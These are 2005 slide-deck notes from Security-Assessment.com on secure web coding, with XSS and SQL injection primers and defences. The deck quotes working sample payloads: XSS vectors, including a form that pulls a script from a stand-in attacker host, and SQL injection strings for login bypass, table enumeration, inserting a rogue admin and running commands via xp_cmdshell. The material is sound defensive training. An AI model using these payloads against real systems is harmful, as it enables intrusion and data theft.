copyright security-assessment.com 2005 secure coding practice

Copyright Security-Assessment.com 2005

Secure Coding Practice


Why Secure Code Is so Important


Web Application Vulnerability Statistics• Qualys last 200 Checks

– Web App: 40 (20%)• XSS: 9• SQL Injection: 6• OS Injection: 5

• Secunia October Advisories (73 total)– Web App: 14 (19%)

• XSS: 4• SQL injection: 3

• SecurityFocus October Vulnerabilties (150 total)– Web App: 35 (23%)

• XSS: 10• SQL Injection: 10• OS injection: 3


Statistics Continued• Those statistics were only with Off-the-shelf web

applications

• Custom web applications tend to contain many more vulnerabilities

• Very rare to find an application without at least one major web application vulnerability

• 95% of applications tested contain an XSS vulnerability


Source Review vs Penetration Test• Penetration Test

– Pros• Simulates real-world attack• Can be performed relatively quickly

– Cons• Will never find all vulnerabilities• Only tests outer layer• Must be performed once the system is ready


Source Review vs Penetration Test• Source Code Review

– Pros• Ability to review all code• Finds vulnerabilities hidden inside

conditional flows• Can be performed earlier in the project to

catch vulnerabilities as soon as possible

– Cons• Time consuming• Does not simulate a real-world attack


Security In The SDLC• The Longer a security vulnerability is left

unsolved, the more costly to resolve

• Security should therefore be built into the SDLC to catch vulnerabilities as soon as possible

• It is too late to wait until one week before go-live to get a security review performed


Standard SDLC• Requirements• Architecture/Design• Development• Integration Testing• Deployment• Maintenance


How Security Fits Into The SDLC• Requirements

– Initial risk assessment– Make security requirements explicit– Threat modelling during use cases

• Architecture/Design– Design security review

• Development– Application development standards– Iterative code reviews– Automated code testing


How Security Fits Into The SDLC• Integration Testing

– Application penetration testing– Automated scanning

• Deployment– Traditional go-live testing

• Maintenance– Regression testing– Code reviews of changes– Operational procedure reviews


Why A Coding Policy Is Important• Developers are not security experts so need

advice on how to code securely

• Developers change over time

• Outsourcing give little control over developers– A coding policy can help ensure security is at an adequate

level – Make software acceptance dependant on compliance with

the coding policy

• Security techniques change over time


Introduction To Common Vulnerabilities - XSS


What Is XSS?• XSS stands for Cross-Site Scripting

• It is the ability of one person to inject HTML code into another person’s session

• Generally comes in two forms:– Reflective (code stored in a URL, requires tricking a user to

click on the URL)– Storage-based (code stored on the site, often does not

require user interaction)


Why Is It Bad?• XSS allows an attacker to manipulate the HTML of

a web page.

• Typical exploits include:– Page modification (defacement)– Redirection (for example login forms)– Site interaction on behalf of user (AJAX)– Pretty much anything you can do with JavaScript


Some Myths About XSS• XSS isn’t a real threat, it can’t do any real damage

• WRONG– XSS can lead to a serious compromise of either

the site or the victim

• Examples– XSS-based worms– Myspace.com example– AJAX– Imagine an Internet Banking site where an XSS attack

automatically checks your balance then transfers the maximum to an attacker’s account


XSS Myths Continued• An attacker has to trick a user into following a

malicious link

• WRONG– Storage-based XSS

• Examples– XSS in registration page to compromise Admin– XSS in profile pages– XSS in messages/forums/bulletin boards


XSS Myths Continued• I use post for all my input therefore I am safe from

XSS

• WRONG– an attacker can craft a page that POSTS to your

site to cause XSS

• Example– <body onload=form1.submit();>– <form1 action=“/postpage.asp” method=“POST”>– <input type=“text” value=“%3Cscript+src%3D%22http%3A%2F

%2Fwww.attacker.com%2Fscript.js%22%2F%3E”>– </form>


XSS Myths Continued• I filter < and > so I am safe

• WRONG– Some types of XSS do not require < or >

• Examples– " "onmouseover= "alert('XSS');– +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-


Issues With Common Methods To Detect XSS• Common detection methods tend to rely on

recognising dangerous characters

• There is such a large variation in how these exploits can occur that detection is often difficult

• Even vendors get it wrong:– .Net XSS filter bypass– foo.bar/test.asp?term=<%00SCRIPT>alert(‘XSS')</

SCRIPT>


Multiple variations of XSS• <script>alert('XSS')</script>• <IMG SRC="javascript:alert('XSS');">• <IMG

SRC=javascript:alert('XSS'&#41>

• <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

• <BODY ONLOAD=alert('XSS')>• +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-• " "onmouseover= "alert('XSS');


How To Defend Against XSS• Only allow known good input

– Numeric fields– Boolean fields– Alpha fields– AlphaNumeric fields– Length checked

• If Special characters must be allowed, do not allow the following characters:– < > “ ' & + ; # / \ %

• Always encode output as well as filtering input


Introduction To Common Vulnerabilities – SQL Injection


What Is SQL Injection?• Ability to execute unauthorised SQL statements

by manipulating user input

– SQLquery = “SELECT * FROM users WHERE username = ‘” + user + “' AND password = ‘” + password + “';”

– http://www.target.com/login.asp?user=admin&password='%20OR%20'1'='1

– Query becomes “SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' = '1';”


Some Myths About SQL• Stored Procedures Protects Against SQL

• WRONG– Stored procedures can use inputs to build a

statement and then execute

• ExampleCREATE PROCEDURE MyProc

(@TableName varchar(255), @FirstName varchar(50), @LastName varchar(50))

AS DECLARE @SQLStatement varchar(255)SELECT @SQLStatement = "SELECT * FROM " + @TableName + "WHERE FirstName = '" + @FirstName + "' AND

LastName = '" + @LastName + "'"

EXEC(@SQLStatement)


SQL Myths Continued• I Filter the ' character so I am safe from SQL

• WRONG– if you have SQL that expects numeric, an attack does

not need '

• Example– “SELECT * FROM table WHERE int = @userinput;”– The attack can look like following:

1 or 1=1– or

1; insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)


Common SQL Injection Variations• Standard - Using ' to close string

– /vuln.asp?string='

• Password Circumvention– /login.asp?user=admin&password='or'1'='1

• Comment Injection– /login.asp?user=admin';--&password=whocares

• SubSelects– /vuln.asp?string=' + (SELECT TOP 1 FieldName FROM

TableName) + '


SQL Injection Variations Continued• Table Enumeration With UNION

– /vuln.asp?string=' UNION ALL SELECT name,9,'a' FROM sysobjects where xtype='U

• Statement Concatenation– /vuln.asp?string='; INSERT INTO adminusers

(username,password) VALUES ('hacked', 'p0wn3d');--

• Command Execution– /vuln.asp?string=';EXEC master.dbo.xp_cmdshell 'cmd.exe

dir c:


SQL Injection Variations Continued• Numeric Attack

– /vuln.asp?int=1 or 1=1

• Numeric Insertion– /vuln.asp?int=1; insert into users values( 666,

char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)

• Using Tab To Bypass Space Checks– /vuln.asp?string=‘%90+%90(SELECT%90TOP

%901%90FieldName%90FROM%90TableName)%90+%90'


How To Defend Against SQL Injection• Only allow known good input

– Numeric fields– Boolean fields– Alpha fields– AlphaNumeric fields– Length checked

• If Special characters must be allowed, do not allow the following characters:– < > “ ' & + ; # / \ % {whitespace}


SQL Injection Defence Continued• Only use parameterised stored procedures

• Never generate SQL statements on the fly using strings

• Restrict the user account accessing the database– Only allow the user access to the specific stored procedures

required– Remove access to master stored procedures (xp_cmdshell

etc)


Why Whitelist Beats Blacklist• As can be seen from the examples today, it is very

difficult to know and block all variations of attacks

• Therefore, using a blacklist to search for known bad data is risky

• Best strategy is to know what data is expected and make sure this is true

• Make your checks are as specific as possible:– Type of characters allowed– Length


Keep It Secure


Continued Testing• Any changes to the code can introduce new

security vulnerabilities

• All code changes should be checked to ensure they:– Comply with the coding policy– Do not introduce new security vulnerabilities

• Security changes over time, what was secure today may not be secure in a year’s time

• Make sure security tests are performed on a regular basis


Protect The Source• It is not enough to review one version of code

• Must ensure that the ability to insert malicious code is minimised

• Must ensure that access to source code is restricted (CISCO)


Testing Tools• Source Code Analysis

– CodeScan (of course )– PMD– Findbugs

• Automated Web Application Testing Tools– WebInspect– AppScan– AppDetective– ScanDo


References• Open Web Application Security Project

http://www.owasp.org

• XSS Cheatsheethttp://ha.ckers.org/xss.html

• Codescan Source code analysis Toolhttp://www.codescan.com


Questions?

copyright security-assessment.com 2005 secure coding practice

Documents